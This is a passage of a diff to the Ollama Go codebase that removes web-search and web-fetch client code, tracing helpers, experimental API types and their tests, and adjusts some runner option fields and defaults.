-// Current len/4 heuristic is a rough approximation (~4 chars/token average).
-func EstimateCountTokens(req CountTokensRequest) int {
-	var totalLen int
-
-	// Count system prompt
-	totalLen += countAnyContent(req.System)
-
-	for _, msg := range req.Messages {
-		// Count role (always present)
-		totalLen += len(msg.Role)
-		// Count content
-		totalLen += countAnyContent(msg.Content)
-	}
-
-	for _, tool := range req.Tools {
-		totalLen += len(tool.Name) + len(tool.Description) + len(tool.InputSchema)
-	}
-
-	// Return len/4 as rough token estimate, minimum 1 if there's any content
-	tokens := totalLen / 4
-	if tokens == 0 && (len(req.Messages) > 0 || req.System != nil) {
-		tokens = 1
-	}
-	return tokens
-}
-
-func countAnyContent(content any) int {
-	if content == nil {
-		return 0
-	}
-
-	switch c := content.(type) {
-	case string:
-		return len(c)
-	case []ContentBlock:
-		total := 0
-		for _, block := range c {
-			total += countContentBlock(block)
-		}
-		return total
-	case []any:
-		total := 0
-		for _, item := range c {
-			data, err := json.Marshal(item)
-			if err != nil {
-				continue
-			}
-			var block ContentBlock
-			if err := json.Unmarshal(data, &block); err == nil {
-				total += countContentBlock(block)
-			}
-		}
-		return total
-	default:
-		if data, err := json.Marshal(content); err == nil {
-			return len(data)
-		}
-		return 0
-	}
-}
-
-func countContentBlock(block ContentBlock) int {
-	total := 0
-	if block.Text != nil {
-		total += len(*block.Text)
-	}
-	if block.Thinking != nil {
-		total += len(*block.Thinking)
-	}
-	if block.Type == "tool_use" || block.Type == "tool_result" {
-		if data, err := json.Marshal(block); err == nil {
-			total += len(data)
-		}
-	}
-	return total
-}
-
-// OllamaWebSearchRequest represents a request to the Ollama web search API
-type OllamaWebSearchRequest struct {
-	Query      string `json:"query"`
-	MaxResults int    `json:"max_results,omitempty"`
-}
-
-// OllamaWebSearchResult represents a single search result from Ollama API
-type OllamaWebSearchResult struct {
-	Title   string `json:"title"`
-	URL     string `json:"url"`
-	Content string `json:"content"`
-}
-
-// OllamaWebSearchResponse represents the response from the Ollama web search API
-type OllamaWebSearchResponse struct {
-	Results []OllamaWebSearchResult `json:"results"`
-}
-
-var WebSearchEndpoint = "https://ollama.com/api/web_search"
-
-func WebSearch(ctx context.Context, query string, maxResults int) (*OllamaWebSearchResponse, error) {
-	if internalcloud.Disabled() {
-		logutil.TraceContext(ctx, "anthropic: web search blocked", "reason", "cloud_disabled")
-		return nil, errors.New(internalcloud.DisabledError("web search is unavailable"))
-	}
-
-	if maxResults <= 0 {
-		maxResults = 5
-	}
-	if maxResults > 10 {
-		maxResults = 10
-	}
-
-	reqBody := OllamaWebSearchRequest{
-		Query:      query,
-		MaxResults: maxResults,
-	}
-
-	body, err := json.Marshal(reqBody)
-	if err != nil {
-		return nil, fmt.Errorf("failed to marshal web search request: %w", err)
-	}
-
-	searchURL, err := url.Parse(WebSearchEndpoint)
-	if err != nil {
-		return nil, fmt.Errorf("failed to parse web search URL: %w", err)
-	}
-	logutil.TraceContext(ctx, "anthropic: web search request",
-		"query", TraceTruncateString(query),
-		"max_results", maxResults,
-		"url", searchURL.String(),
-	)
-
-	q := searchURL.Query()
-	q.Set("ts", strconv.FormatInt(time.Now().Unix(), 10))
-	searchURL.RawQuery = q.Encode()
-
-	signature := ""
-	if strings.EqualFold(searchURL.Hostname(), "ollama.com") {
-		challenge := fmt.Sprintf("%s,%s", http.MethodPost, searchURL.RequestURI())
-		signature, err = auth.Sign(ctx, []byte(challenge))
-		if err != nil {
-			return nil, fmt.Errorf("failed to sign web search request: %w", err)
-		}
-	}
-	logutil.TraceContext(ctx, "anthropic: web search auth", "signed", signature != "")
-
-	req, err := http.NewRequestWithContext(ctx, "POST", searchURL.String(), bytes.NewReader(body))
-	if err != nil {
-		return nil, fmt.Errorf("failed to create web search request: %w", err)
-	}
-
-	req.Header.Set("Content-Type", "application/json")
-	if signature != "" {
-		req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", signature))
-	}
-
-	resp, err := http.DefaultClient.Do(req)
-	if err != nil {
-		return nil, fmt.Errorf("web search request failed: %w", err)
-	}
-	defer resp.Body.Close()
-	logutil.TraceContext(ctx, "anthropic: web search response", "status", resp.StatusCode)
-
-	if resp.StatusCode != http.StatusOK {
-		respBody, _ := io.ReadAll(resp.Body)
-		return nil, fmt.Errorf("web search returned status %d: %s", resp.StatusCode, string(respBody))
-	}
-
-	var searchResp OllamaWebSearchResponse
-	if err := json.NewDecoder(resp.Body).Decode(&searchResp); err != nil {
-		return nil, fmt.Errorf("failed to decode web search response: %w", err)
-	}
-	logutil.TraceContext(ctx, "anthropic: web search results", "count", len(searchResp.Results))
-
-	return &searchResp, nil
-}
-
-func ConvertOllamaToAnthropicResults(ollamaResults *OllamaWebSearchResponse) []WebSearchResult {
-	var results []WebSearchResult
-	for _, r := range ollamaResults.Results {
-		results = append(results, WebSearchResult{
-			Type:  "web_search_result",
-			URL:   r.URL,
-			Title: r.Title,
-		})
-	}
-	return results
+// mapToArgs converts a map to ToolCallFunctionArguments
+func mapToArgs(m map[string]any) api.ToolCallFunctionArguments {
+	args := api.NewToolCallFunctionArguments()
+	for k, v := range m {
+		args.Set(k, v)
+	}
+	return args
 }

anthropic/trace.go

@@ -1,352 +0,0 @@
-package anthropic
-
-import (
-	"encoding/json"
-	"fmt"
-	"sort"
-
-	"github.com/ollama/ollama/api"
-)
-
-// Trace truncation limits.
-const (
-	TraceMaxStringRunes = 240
-	TraceMaxSliceItems  = 8
-	TraceMaxMapEntries  = 16
-	TraceMaxDepth       = 4
-)
-
-// TraceTruncateString shortens s to TraceMaxStringRunes, appending a count of
-// omitted characters when truncated.
-func TraceTruncateString(s string) string {
-	if len(s) == 0 {
-		return s
-	}
-	runes := []rune(s)
-	if len(runes) <= TraceMaxStringRunes {
-		return s
-	}
-	return fmt.Sprintf("%s...(+%d chars)", string(runes[:TraceMaxStringRunes]), len(runes)-TraceMaxStringRunes)
-}
-
-// TraceJSON round-trips v through JSON and returns a compacted representation.
-func TraceJSON(v any) any {
-	if v == nil {
-		return nil
-	}
-	data, err := json.Marshal(v)
-	if err != nil {
-		return map[string]any{"marshal_error": err.Error(), "type": fmt.Sprintf("%T", v)}
-	}
-	var out any
-	if err := json.Unmarshal(data, &out); err != nil {
-		return TraceTruncateString(string(data))
-	}
-	return TraceCompactValue(out, 0)
-}
-
-// TraceCompactValue recursively truncates strings, slices, and maps for trace
-// output. depth tracks recursion to enforce TraceMaxDepth.
-func TraceCompactValue(v any, depth int) any {
-	if v == nil {
-		return nil
-	}
-	if depth >= TraceMaxDepth {
-		switch t := v.(type) {
-		case string:
-			return TraceTruncateString(t)
-		case []any:
-			return fmt.Sprintf("<array len=%d>", len(t))
-		case map[string]any:
-			return fmt.Sprintf("<object keys=%d>", len(t))
-		default:
-			return fmt.Sprintf("<%T>", v)
-		}
-	}
-	switch t := v.(type) {
-	case string:
-		return TraceTruncateString(t)
-	case []any:
-		limit := min(len(t), TraceMaxSliceItems)
-		out := make([]any, 0, limit+1)
-		for i := range limit {
-			out = append(out, TraceCompactValue(t[i], depth+1))
-		}
-		if len(t) > limit {
-			out = append(out, fmt.Sprintf("... +%d more items", len(t)-limit))
-		}
-		return out
-	case map[string]any:
-		keys := make([]string, 0, len(t))
-		for k := range t {
-			keys = append(keys, k)
-		}
-		sort.Strings(keys)
-		limit := min(len(keys), TraceMaxMapEntries)
-		out := make(map[string]any, limit+1)
-		for i := range limit {
-			out[keys[i]] = TraceCompactValue(t[keys[i]], depth+1)
-		}
-		if len(keys) > limit {
-			out["__truncated_keys"] = len(keys) - limit
-		}
-		return out
-	default:
-		return t
-	}
-}
-
-// ---------------------------------------------------------------------------
-// Anthropic request/response tracing
-// ---------------------------------------------------------------------------
-
-// TraceMessagesRequest returns a compact trace representation of a MessagesRequest.
-func TraceMessagesRequest(r MessagesRequest) map[string]any {
-	return map[string]any{
-		"model":          r.Model,
-		"max_tokens":     r.MaxTokens,
-		"messages":       traceMessageParams(r.Messages),
-		"system":         traceAnthropicContent(r.System),
-		"stream":         r.Stream,
-		"tools":          traceTools(r.Tools),
-		"tool_choice":    TraceJSON(r.ToolChoice),
-		"thinking":       TraceJSON(r.Thinking),
-		"stop_sequences": r.StopSequences,
-		"temperature":    ptrVal(r.Temperature),
-		"top_p":          ptrVal(r.TopP),
-		"top_k":          ptrVal(r.TopK),
-	}
-}
-
-// TraceMessagesResponse returns a compact trace representation of a MessagesResponse.
-func TraceMessagesResponse(r MessagesResponse) map[string]any {
-	return map[string]any{
-		"id":          r.ID,
-		"model":       r.Model,
-		"content":     TraceJSON(r.Content),
-		"stop_reason": r.StopReason,
-		"usage":       r.Usage,
-	}
-}
-
-func traceMessageParams(msgs []MessageParam) []map[string]any {
-	out := make([]map[string]any, 0, len(msgs))
-	for _, m := range msgs {
-		out = append(out, map[string]any{
-			"role":    m.Role,
-			"content": traceAnthropicContent(m.Content),
-		})
-	}
-	return out
-}
-
-func traceAnthropicContent(content any) any {
-	switch c := content.(type) {
-	case nil:
-		return nil
-	case string:
-		return TraceTruncateString(c)
-	case []any:
-		blocks := make([]any, 0, len(c))
-		for _, block := range c {
-			blockMap, ok := block.(map[string]any)
-			if !ok {
-				blocks = append(blocks, TraceCompactValue(block, 0))
-				continue
-			}
-			blocks = append(blocks, traceAnthropicBlock(blockMap))
-		}
-		return blocks
-	default:
-		return TraceJSON(c)
-	}
-}
-
-func traceAnthropicBlock(block map[string]any) map[string]any {
-	blockType, _ := block["type"].(string)
-	out := map[string]any{"type": blockType}
-	switch blockType {
-	case "text":
-		if text, ok := block["text"].(string); ok {
-			out["text"] = TraceTruncateString(text)
-		} else {
-			out["text"] = TraceCompactValue(block["text"], 0)
-		}
-	case "thinking":
-		if thinking, ok := block["thinking"].(string); ok {
-			out["thinking"] = TraceTruncateString(thinking)
-		} else {
-			out["thinking"] = TraceCompactValue(block["thinking"], 0)
-		}
-	case "tool_use", "server_tool_use":
-		out["id"] = block["id"]
-		out["name"] = block["name"]
-		out["input"] = TraceCompactValue(block["input"], 0)
-	case "tool_result", "web_search_tool_result":
-		out["tool_use_id"] = block["tool_use_id"]
-		out["content"] = TraceCompactValue(block["content"], 0)
-	case "image":
-		if source, ok := block["source"].(map[string]any); ok {
-			out["source"] = map[string]any{
-				"type":       source["type"],
-				"media_type": source["media_type"],
-				"url":        source["url"],
-				"data_len":   len(fmt.Sprint(source["data"])),
-			}
-		}
-	default:
-		out["block"] = TraceCompactValue(block, 0)
-	}
-	return out
-}
-
-func traceTools(tools []Tool) []map[string]any {
-	out := make([]map[string]any, 0, len(tools))
-	for _, t := range tools {
-		out = append(out, TraceTool(t))
-	}
-	return out
-}
-
-// TraceTool returns a compact trace representation of an Anthropic Tool.
-func TraceTool(t Tool) map[string]any {
-	return map[string]any{
-		"type":         t.Type,
-		"name":         t.Name,
-		"description":  TraceTruncateString(t.Description),
-		"input_schema": TraceJSON(t.InputSchema),
-		"max_uses":     t.MaxUses,
-	}
-}
-
-// ContentBlockTypes returns the type strings from content (when it's []any blocks).
-func ContentBlockTypes(content any) []string {
-	blocks, ok := content.([]any)
-	if !ok {
-		return nil
-	}
-	types := make([]string, 0, len(blocks))
-	for _, block := range blocks {
-		blockMap, ok := block.(map[string]any)
-		if !ok {
-			types = append(types, fmt.Sprintf("%T", block))
-			continue
-		}
-		t, _ := blockMap["type"].(string)
-		types = append(types, t)
-	}
-	return types
-}
-
-func ptrVal[T any](v *T) any {
-	if v == nil {
-		return nil
-	}
-	return *v
-}
-
-// ---------------------------------------------------------------------------
-// Ollama api.* tracing (shared between anthropic and middleware packages)
-// ---------------------------------------------------------------------------
-
-// TraceChatRequest returns a compact trace representation of an Ollama ChatRequest.
-func TraceChatRequest(req *api.ChatRequest) map[string]any {
-	if req == nil {
-		return nil
-	}
-	stream := false
-	if req.Stream != nil {
-		stream = *req.Stream
-	}
-	return map[string]any{
-		"model":    req.Model,
-		"messages": TraceAPIMessages(req.Messages),
-		"tools":    TraceAPITools(req.Tools),
-		"stream":   stream,
-		"options":  req.Options,
-		"think":    TraceJSON(req.Think),
-	}
-}
-
-// TraceChatResponse returns a compact trace representation of an Ollama ChatResponse.
-func TraceChatResponse(resp api.ChatResponse) map[string]any {
-	return map[string]any{
-		"model":       resp.Model,
-		"done":        resp.Done,
-		"done_reason": resp.DoneReason,
-		"message":     TraceAPIMessage(resp.Message),
-		"metrics":     TraceJSON(resp.Metrics),
-	}
-}
-
-// TraceAPIMessages returns compact trace representations for a slice of api.Message.
-func TraceAPIMessages(msgs []api.Message) []map[string]any {
-	out := make([]map[string]any, 0, len(msgs))
-	for _, m := range msgs {
-		out = append(out, TraceAPIMessage(m))
-	}
-	return out
-}
-
-// TraceAPIMessage returns a compact trace representation of a single api.Message.
-func TraceAPIMessage(m api.Message) map[string]any {
-	return map[string]any{
-		"role":         m.Role,
-		"content":      TraceTruncateString(m.Content),
-		"thinking":     TraceTruncateString(m.Thinking),
-		"images":       traceImageSizes(m.Images),
-		"tool_calls":   traceToolCalls(m.ToolCalls),
-		"tool_name":    m.ToolName,
-		"tool_call_id": m.ToolCallID,
-	}
-}
-
-func traceImageSizes(images []api.ImageData) []int {
-	if len(images) == 0 {
-		return nil
-	}
-	sizes := make([]int, 0, len(images))
-	for _, img := range images {
-		sizes = append(sizes, len(img))
-	}
-	return sizes
-}
-
-// TraceAPITools returns compact trace representations for a slice of api.Tool.
-func TraceAPITools(tools api.Tools) []map[string]any {
-	out := make([]map[string]any, 0, len(tools))
-	for _, t := range tools {
-		out = append(out, TraceAPITool(t))
-	}
-	return out
-}
-
-// TraceAPITool returns a compact trace representation of a single api.Tool.
-func TraceAPITool(t api.Tool) map[string]any {
-	return map[string]any{
-		"type":        t.Type,
-		"name":        t.Function.Name,
-		"description": TraceTruncateString(t.Function.Description),
-		"parameters":  TraceJSON(t.Function.Parameters),
-	}
-}
-
-// TraceToolCall returns a compact trace representation of an api.ToolCall.
-func TraceToolCall(tc api.ToolCall) map[string]any {
-	return map[string]any{
-		"id":   tc.ID,
-		"name": tc.Function.Name,
-		"args": TraceJSON(tc.Function.Arguments),
-	}
-}
-
-func traceToolCalls(tcs []api.ToolCall) []map[string]any {
-	if len(tcs) == 0 {
-		return nil
-	}
-	out := make([]map[string]any, 0, len(tcs))
-	for _, tc := range tcs {
-		out = append(out, TraceToolCall(tc))
-	}
-	return out
-}

api/client.go

@@ -259,10 +259,6 @@ func (c *Client) stream(ctx context.Context, method, path string, data any, fn f
 		}
 	}
 
-	if err := scanner.Err(); err != nil {
-		return err
-	}
-
 	return nil
 }
 
@@ -372,16 +368,6 @@ func (c *Client) List(ctx context.Context) (*ListResponse, error) {
 	return &lr, nil
 }
 
-// ModelRecommendationsExperimental lists model recommendations from the local
-// server's experimental recommendations endpoint.
-func (c *Client) ModelRecommendationsExperimental(ctx context.Context) (*ModelRecommendationsResponse, error) {
-	var resp ModelRecommendationsResponse
-	if err := c.do(ctx, http.MethodGet, "/api/experimental/model-recommendations", nil, &resp); err != nil {
-		return nil, err
-	}
-	return &resp, nil
-}
-
 // ListRunning lists running models.
 func (c *Client) ListRunning(ctx context.Context) (*ProcessResponse, error) {
 	var lr ProcessResponse
@@ -463,36 +449,6 @@ func (c *Client) Version(ctx context.Context) (string, error) {
 	return version.Version, nil
 }
 
-// CloudStatusExperimental returns whether cloud features are disabled on the server.
-func (c *Client) CloudStatusExperimental(ctx context.Context) (*StatusResponse, error) {
-	var status StatusResponse
-	if err := c.do(ctx, http.MethodGet, "/api/status", nil, &status); err != nil {
-		return nil, err
-	}
-
-	return &status, nil
-}
-
-// WebSearchExperimental searches the web through the local server's
-// experimental web search endpoint.
-func (c *Client) WebSearchExperimental(ctx context.Context, req *WebSearchRequest) (*WebSearchResponse, error) {
-	var resp WebSearchResponse
-	if err := c.do(ctx, http.MethodPost, "/api/experimental/web_search", req, &resp); err != nil {
-		return nil, err
-	}
-	return &resp, nil
-}
-
-// WebFetchExperimental fetches web page content through the local server's
-// experimental web fetch endpoint.
-func (c *Client) WebFetchExperimental(ctx context.Context, req *WebFetchRequest) (*WebFetchResponse, error) {
-	var resp WebFetchResponse
-	if err := c.do(ctx, http.MethodPost, "/api/experimental/web_fetch", req, &resp); err != nil {
-		return nil, err
-	}
-	return &resp, nil
-}
-
 // Signout will signout a client for a local ollama server.
 func (c *Client) Signout(ctx context.Context) error {
 	return c.do(ctx, http.MethodPost, "/api/signout", nil, nil)

api/client_test.go

@@ -2,9 +2,7 @@ package api
 
 import (
 	"encoding/json"
-	"errors"
 	"fmt"
-	"io"
 	"net/http"
 	"net/http/httptest"
 	"net/url"
@@ -194,35 +192,6 @@ func TestClientStream(t *testing.T) {
 	}
 }
 
-func TestClientStreamReportsReadErrors(t *testing.T) {
-	client := NewClient(
-		&url.URL{Scheme: "http", Host: "example.com"},
-		&http.Client{Transport: roundTripFunc(func(*http.Request) (*http.Response, error) {
-			body := failingReader{
-				data: []byte(`{"message":{"content":"partial"}}` + "\n"),
-				err:  io.ErrUnexpectedEOF,
-			}
-
-			return &http.Response{
-				StatusCode: http.StatusOK,
-				Status:     "200 OK",
-				Body:       io.NopCloser(&body),
-				Header:     make(http.Header),
-			}, nil
-		})},
-	)
-
-	err := client.stream(t.Context(), http.MethodPost, "/api/chat", nil, func([]byte) error {
-		return nil
-	})
-	if err == nil {
-		t.Fatal("expected stream read error")
-	}
-	if !strings.Contains(err.Error(), io.ErrUnexpectedEOF.Error()) {
-		t.Fatalf("expected unexpected EOF, got %v", err)
-	}
-}
-
 func TestClientDo(t *testing.T) {
 	testCases := []struct {
 		name           string
@@ -351,157 +320,3 @@ func TestClientDo(t *testing.T) {
 		})
 	}
 }
-
-func TestClientWebSearchExperimentalUsesLocalRoute(t *testing.T) {
-	var gotPath string
-	var gotMethod string
-	var gotRequest WebSearchRequest
-	ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
-		gotPath = r.URL.Path
-		gotMethod = r.Method
-		if err := json.NewDecoder(r.Body).Decode(&gotRequest); err != nil {
-			t.Fatal(err)
-		}
-		if err := json.NewEncoder(w).Encode(WebSearchResponse{
-			Results: []WebSearchResult{{Title: "Ollama", URL: "https://ollama.com", Content: "models"}},
-		}); err != nil {
-			t.Fatal(err)
-		}
-	}))
-	defer ts.Close()
-
-	client := NewClient(&url.URL{Scheme: "http", Host: ts.Listener.Addr().String()}, http.DefaultClient)
-	resp, err := client.WebSearchExperimental(t.Context(), &WebSearchRequest{Query: "ollama", MaxResults: 3})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if gotMethod != http.MethodPost {
-		t.Fatalf("method = %q, want POST", gotMethod)
-	}
-	if gotPath != "/api/experimental/web_search" {
-		t.Fatalf("path = %q, want /api/experimental/web_search", gotPath)
-	}
-	if gotRequest.Query != "ollama" || gotRequest.MaxResults != 3 {
-		t.Fatalf("request = %#v", gotRequest)
-	}
-	if len(resp.Results) != 1 || resp.Results[0].Title != "Ollama" {
-		t.Fatalf("response = %#v", resp)
-	}
-}
-
-func TestClientWebSearchExperimentalErrors(t *testing.T) {
-	tests := []struct {
-		name        string
-		status      int
-		body        string
-		assertError func(*testing.T, error)
-	}{
-		{
-			name:   "unauthorized retains sign in URL",
-			status: http.StatusUnauthorized,
-			body:   `{"error":"unauthorized","signin_url":"https://ollama.com/signin/example"}`,
-			assertError: func(t *testing.T, err error) {
-				t.Helper()
-				var authErr AuthorizationError
-				if !errors.As(err, &authErr) {
-					t.Fatalf("error = %T, want AuthorizationError", err)
-				}
-				if authErr.StatusCode != http.StatusUnauthorized || authErr.SigninURL != "https://ollama.com/signin/example" {
-					t.Fatalf("authorization error = %#v", authErr)
-				}
-			},
-		},
-		{
-			name:   "rate limit retains status",
-			status: http.StatusTooManyRequests,
-			body:   `{"error":"rate limit exceeded"}`,
-			assertError: func(t *testing.T, err error) {
-				t.Helper()
-				var statusErr StatusError
-				if !errors.As(err, &statusErr) {
-					t.Fatalf("error = %T, want StatusError", err)
-				}
-				if statusErr.StatusCode != http.StatusTooManyRequests || statusErr.ErrorMessage != "rate limit exceeded" {
-					t.Fatalf("status error = %#v", statusErr)
-				}
-			},
-		},
-	}
-
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
-				w.Header().Set("Content-Type", "application/json")
-				w.WriteHeader(tt.status)
-				_, _ = w.Write([]byte(tt.body))
-			}))
-			defer ts.Close()
-
-			client := NewClient(&url.URL{Scheme: "http", Host: ts.Listener.Addr().String()}, http.DefaultClient)
-			_, err := client.WebSearchExperimental(t.Context(), &WebSearchRequest{Query: "ollama"})
-			if err == nil {
-				t.Fatal("expected error")
-			}
-			tt.assertError(t, err)
-		})
-	}
-}
-
-func TestClientWebFetchExperimentalUsesLocalRoute(t *testing.T) {
-	var gotPath string
-	var gotMethod string
-	var gotRequest WebFetchRequest
-	ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
-		gotPath = r.URL.Path
-		gotMethod = r.Method
-		if err := json.NewDecoder(r.Body).Decode(&gotRequest); err != nil {
-			t.Fatal(err)
-		}
-		if err := json.NewEncoder(w).Encode(WebFetchResponse{
-			Title:   "Ollama",
-			Content: "models",
-			Links:   []string{"https://ollama.com/library"},
-		}); err != nil {
-			t.Fatal(err)
-		}
-	}))
-	defer ts.Close()
-
-	client := NewClient(&url.URL{Scheme: "http", Host: ts.Listener.Addr().String()}, http.DefaultClient)
-	resp, err := client.WebFetchExperimental(t.Context(), &WebFetchRequest{URL: "https://ollama.com"})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if gotMethod != http.MethodPost {
-		t.Fatalf("method = %q, want POST", gotMethod)
-	}
-	if gotPath != "/api/experimental/web_fetch" {
-		t.Fatalf("path = %q, want /api/experimental/web_fetch", gotPath)
-	}
-	if gotRequest.URL != "https://ollama.com" {
-		t.Fatalf("request = %#v", gotRequest)
-	}
-	if resp.Title != "Ollama" || resp.Content != "models" {
-		t.Fatalf("response = %#v", resp)
-	}
-}
-
-type roundTripFunc func(*http.Request) (*http.Response, error)
-
-func (f roundTripFunc) RoundTrip(req *http.Request) (*http.Response, error) {
-	return f(req)
-}
-
-type failingReader struct {
-	data []byte
-	err  error
-}
-
-func (r *failingReader) Read(p []byte) (int, error) {
-	if len(r.data) > 0 {
-		n := copy(p, r.data)
-		r.data = r.data[n:]
-		return n, nil
-	}
-	return 0, r.err
-}

api/types.go

@@ -422,7 +422,6 @@ type ToolProperty struct {
 	Description string             `json:"description,omitempty"`
 	Enum        []any              `json:"enum,omitempty"`
 	Properties  *ToolPropertiesMap `json:"properties,omitempty"`
-	Required    []string           `json:"required,omitempty"`
 }
 
 // ToTypeScriptType converts a ToolProperty to a TypeScript type string
@@ -586,13 +585,12 @@ type Options struct {
 
 // Runner options which must be set when the model is loaded into memory
 type Runner struct {
-	NumCtx          int   `json:"num_ctx,omitempty"`
-	NumBatch        int   `json:"num_batch,omitempty"`
-	NumGPU          int   `json:"num_gpu,omitempty"`
-	MainGPU         *int  `json:"main_gpu,omitempty"`
-	UseMMap         *bool `json:"use_mmap,omitempty"`
-	NumThread       int   `json:"num_thread,omitempty"`
-	DraftNumPredict int   `json:"draft_num_predict,omitempty"`
+	NumCtx    int   `json:"num_ctx,omitempty"`
+	NumBatch  int   `json:"num_batch,omitempty"`
+	NumGPU    int   `json:"num_gpu,omitempty"`
+	MainGPU   int   `json:"main_gpu,omitempty"`
+	UseMMap   *bool `json:"use_mmap,omitempty"`
+	NumThread int   `json:"num_thread,omitempty"`
 }
 
 // EmbedRequest is the request passed to [Client.Embed].
@@ -659,9 +657,6 @@ type CreateRequest struct {
 	// Quantize is the quantization format for the model; leave blank to not change the quantization level.
 	Quantize string `json:"quantize,omitempty"`
 
-	// DraftQuantize is the quantization format for the draft model.
-	DraftQuantize string `json:"draft_quantize,omitempty"`
-
 	// From is the name of the model or file to use as the source.
 	From string `json:"from,omitempty"`
 
@@ -671,9 +666,6 @@ type CreateRequest struct {
 	// Files is a map of files include when creating the model.
 	Files map[string]string `json:"files,omitempty"`
 
-	// DraftFiles is a map of draft model files to include when creating the model.
-	DraftFiles map[string]string `json:"draft_files,omitempty"`
-
 	// Adapters is a map of LoRA adapters to include when creating the model.
 	Adapters map[string]string `json:"adapters,omitempty"`
 
@@ -692,11 +684,8 @@ type CreateRequest struct {
 	// Messages is a list of messages added to the model before chat and generation requests.
 	Messages []Message `json:"messages,omitempty"`
 
-	// Renderer is the name of the renderer used when constructing a request to the model.
 	Renderer string `json:"renderer,omitempty"`
-
-	// Parser is the name of the parser used to parse the output of the request.
-	Parser string `json:"parser,omitempty"`
+	Parser   string `json:"parser,omitempty"`
 
 	// Requires is the minimum version of Ollama required by the model.
 	Requires string `json:"requires,omitempty"`
@@ -746,7 +735,7 @@ type ShowResponse struct {
 	Messages      []Message          `json:"messages,omitempty"`
 	RemoteModel   string             `json:"remote_model,omitempty"`
 	RemoteHost    string             `json:"remote_host,omitempty"`
-	ModelInfo     map[string]any     `json:"model_info"`
+	ModelInfo     map[string]any     `json:"model_info,omitempty"`
 	ProjectorInfo map[string]any     `json:"projector_info,omitempty"`
 	Tensors       []Tensor           `json:"tensors,omitempty"`
 	Capabilities  []model.Capability `json:"capabilities,omitempty"`
@@ -798,21 +787,6 @@ type ListResponse struct {
 	Models []ListModelResponse `json:"models"`
 }
 
-// ModelRecommendationsResponse is the response from [Client.ModelRecommendationsExperimental].
-type ModelRecommendationsResponse struct {
-	Recommendations []ModelRecommendation `json:"recommendations"`
-}
-
-// ModelRecommendation is a single recommendation entry in [ModelRecommendationsResponse].
-type ModelRecommendation struct {
-	Model           string `json:"model"`
-	Description     string `json:"description"`
-	ContextLength   int    `json:"context_length,omitempty"`
-	MaxOutputTokens int    `json:"max_output_tokens,omitempty"`
-	VRAMBytes       int64  `json:"vram_bytes,omitempty"`
-	RequiredPlan    string `json:"required_plan,omitempty"`
-}
-
 // ProcessResponse is the response from [Client.Process].
 type ProcessResponse struct {
 	Models []ProcessModelResponse `json:"models"`
@@ -820,15 +794,14 @@ type ProcessResponse struct {
 
 // ListModelResponse is a single model description in [ListResponse].
 type ListModelResponse struct {
-	Name         string             `json:"name"`
-	Model        string             `json:"model"`
-	RemoteModel  string             `json:"remote_model,omitempty"`
-	RemoteHost   string             `json:"remote_host,omitempty"`
-	ModifiedAt   time.Time          `json:"modified_at"`
-	Size         int64              `json:"size"`
-	Digest       string             `json:"digest"`
-	Details      ModelDetails       `json:"details,omitempty"`
-	Capabilities []model.Capability `json:"capabilities,omitempty"`
+	Name        string       `json:"name"`
+	Model       string       `json:"model"`
+	RemoteModel string       `json:"remote_model,omitempty"`
+	RemoteHost  string       `json:"remote_host,omitempty"`
+	ModifiedAt  time.Time    `json:"modified_at"`
+	Size        int64        `json:"size"`
+	Digest      string       `json:"digest"`
+	Details     ModelDetails `json:"details,omitempty"`
 }
 
 // ProcessModelResponse is a single model description in [ProcessResponse].
@@ -847,46 +820,6 @@ type TokenResponse struct {
 	Token string `json:"token"`
 }
 
-type CloudStatus struct {
-	Disabled bool   `json:"disabled"`
-	Source   string `json:"source"`
-}
-
-// StatusResponse is the response from [Client.CloudStatusExperimental].
-type StatusResponse struct {
-	Cloud CloudStatus `json:"cloud"`
-}
-
-// WebSearchRequest is the request for [Client.WebSearchExperimental].
-type WebSearchRequest struct {
-	Query      string `json:"query"`
-	MaxResults int    `json:"max_results,omitempty"`
-}
-
-// WebSearchResult is a single result from [Client.WebSearchExperimental].
-type WebSearchResult struct {
-	Title   string `json:"title"`
-	URL     string `json:"url"`
-	Content string `json:"content"`
-}
-
-// WebSearchResponse is the response from [Client.WebSearchExperimental].
-type WebSearchResponse struct {
-	Results []WebSearchResult `json:"results"`
-}
-
-// WebFetchRequest is the request for [Client.WebFetchExperimental].
-type WebFetchRequest struct {
-	URL string `json:"url"`
-}
-
-// WebFetchResponse is the response from [Client.WebFetchExperimental].
-type WebFetchResponse struct {
-	Title   string   `json:"title"`
-	Content string   `json:"content"`
-	Links   []string `json:"links,omitempty"`
-}
-
 // GenerateResponse is the response passed into [GenerateResponseFunc].
 type GenerateResponse struct {
 	// Model is the model name that generated the response.
@@ -937,8 +870,6 @@ type ModelDetails struct {
 	Families          []string `json:"families"`
 	ParameterSize     string   `json:"parameter_size"`
 	QuantizationLevel string   `json:"quantization_level"`
-	ContextLength     int      `json:"context_length,omitempty"`
-	EmbeddingLength   int      `json:"embedding_length,omitempty"`
 }
 
 // UserResponse provides information about a user.
@@ -1061,25 +992,14 @@ func (opts *Options) FromMap(m map[string]any) error {
 				}
 				field.Set(reflect.ValueOf(slice))
 			case reflect.Pointer:
-				switch field.Type().Elem().Kind() {
-				case reflect.Bool:
+				var b bool
+				if field.Type() == reflect.TypeOf(&b) {
 					val, ok := val.(bool)
 					if !ok {
 						return fmt.Errorf("option %q must be of type boolean", key)
 					}
 					field.Set(reflect.ValueOf(&val))
-				case reflect.Int:
-					var i int
-					switch t := val.(type) {
-					case int64:
-						i = int(t)
-					case float64:
-						i = int(t)
-					default:
-						return fmt.Errorf("option %q must be of type integer", key)
-					}
-					field.Set(reflect.ValueOf(&i))
-				default:
+				} else {
 					return fmt.Errorf("unknown type loading config params: %v %v", field.Kind(), field.Type())
 				}
 			default:
@@ -1105,24 +1025,23 @@ func DefaultOptions() Options {
 		TopP:             0.9,
 		TypicalP:         1.0,
 		RepeatLastN:      64,
-		RepeatPenalty:    1.0,
+		RepeatPenalty:    1.1,
 		PresencePenalty:  0.0,
 		FrequencyPenalty: 0.0,
 		Seed:             -1,
 
 		Runner: Runner{
 			// options set when the model is loaded
-			NumCtx:          int(envconfig.ContextLength()),
-			NumBatch:        512,
